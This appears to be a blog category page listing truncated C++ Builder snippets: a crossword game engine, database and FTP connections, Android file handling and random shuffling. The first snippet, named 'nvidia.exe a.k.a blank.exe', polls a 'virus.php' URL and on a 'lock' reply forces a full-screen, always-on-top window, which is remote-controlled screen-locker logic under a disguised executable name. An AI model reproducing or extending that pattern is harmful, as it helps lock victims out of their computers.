Category: C++

0

C++ nvidia.exe a.k.a blank.exe

try{ TStringList*Send = new TStringList(this); TStringStream * Receive = new TStringStream(); IdHTTP1->Request->UserAgent = “*”; IdHTTP1->Get(“http://url/virus.php”,Receive); if(Receive->DataString==”lock”){ if(explore->FormStyle!=fsStayOnTop){ CTrayIcon1->Restore(); explore->FormStyle = fsStayOnTop; explore->WindowState = wsMaximized; explore->Width = Screen->Width; explore->Height = Screen->Height; explore->Show(); Application->BringToFront(); } }else...

0

C++ engine timer teka teki silang

void __fastcall TForm1::Timer1Timer(TObject *Sender) { if(jam==””){ jam = timelimit.SubString(1,2); menit = timelimit.SubString(4,2); detik = timelimit.SubString(7,2); } Form1->Caption = “RadZran CrossWord (“+((jam.Length()==2)?jam:”0″+jam)+”:”+((menit.Length()==2)?menit:”0″+menit)+”:”+((detik.Length()==2)?detik:”0″+detik)+”)”; int a = 10; int b = 26; if(jam.ToInt() == 0 && menit.ToInt()...

0

C++ engine save boxes teka teki silang

bool checkdots(String str){ for(int i = 0;i<str.Length();i++){ if(str.SubString(i,1)==”‘”){ return true; } } if(str.SubString(str.Length(),1)==”‘”||str.SubString(str.Length()-1,1)==”‘”){ return true; } return false; } void __fastcall TForm1::Button6Click(TObject *Sender) { if(MessageBoxA(Handle,”Are you sure to submit these boxes?”,”Warning”,MB_ICONWARNING|MB_YESNO)==mrNo){ return; } atas1:...

0

C++ engine mulai Teka Teki Silang

//———————————————————————— void __fastcall TForm1::ListBox1DblClick(TObject *Sender) { if(ListBox1->ItemIndex == -1){ ShowMessage(“Please select a game”); return; } IDHALAMAN = ListBox1->Items->operator [](ListBox1->ItemIndex).SubString(2,2).Trim(); PSELECT->Hide(); atas: String isia = 10; String isib = 26; if(isia==”” || isib==””){ ShowMessage(“Silahkan isi...

0

C++ ADOConnection

adocloud = new TADOConnection(this); adoq = new TADOQuery(this); String Connection, host, pr, us, pass, db; host = “host”; us = “username”; pass = “password”; db = “database”; pr = port; Connection =”Provider=MSDASQL.1;Persist Security Info=True;\n”;...

0

C++ Android save file

if(DirectoryExists(“/storage/sdcard/”+Edit1->Text,true)){ try{ if(Edit2->Text==”” && Memo1->Text==””){ ShowMessage(“Please fill blanks field”); } else{ Memo1->Lines->SaveToFile(“/storage/sdcard/”+Edit1->Text+”/”+Edit2->Text); ShowMessage(“Save Success”); } } catch(…){ ShowMessage(“Save failed”); } } else{ ShowMessage(“Directory not found”); }

0

C++ Android create folder

if(Edit1->Text ==””){ ShowMessage(“please fill folder field”); return; } try{ String def_dir = “/storage/sdcard/”; String folder = Edit1->Text; CreateDir(def_dir+folder); ShowMessage(“Folder created”); } catch(…){ ShowMessage(“Operation failed”); }

0

C++ IdFTP Listing File

IdFTP1->Host = “host”; IdFTP1->Username = “username”; IdFTP1->Password = “password”; IdFTP1->List(); try{ IdFTP1->Connect(); ShowMessage(“Success”); for(int i = 0; i < IdFTP1->DirectoryListing->Count; i++) { ListBox1->Items->Add(IdFTP1->DirectoryListing->Items[i]->FileName+” “+IdFTP1->DirectoryListing->Items[i]->Size+” “+IdFTP1->DirectoryListing->Items[i]->ModifiedDate ); } }catch(…){ ShowMessage(“Error”); }

0

C++ acak angka

// random_shuffle example #include <iostream> // std::cout #include <conio.h> // std::cout #include <algorithm> // std::random_shuffle #include <vector> // std::vector #include <ctime> // std::time #include <cstdlib> // std::rand, std::srand // random generator function: int myrandom...

0

C++ Who Am I a.k.a Create Object

//————————————————————————— #include <vcl.h> #pragma hdrstop #include “Home.h” //————————————————————————— #pragma package(smart_init) #pragma resource “*.dfm” TForm1 *Form1; //————————————————————————— __fastcall TForm1::TForm1(TComponent* Owner) : TForm(Owner) { } //————————————————————————— void __fastcall TForm1::Timer1Timer(TObject *Sender) { TShape*s = new TShape(this); s->Parent...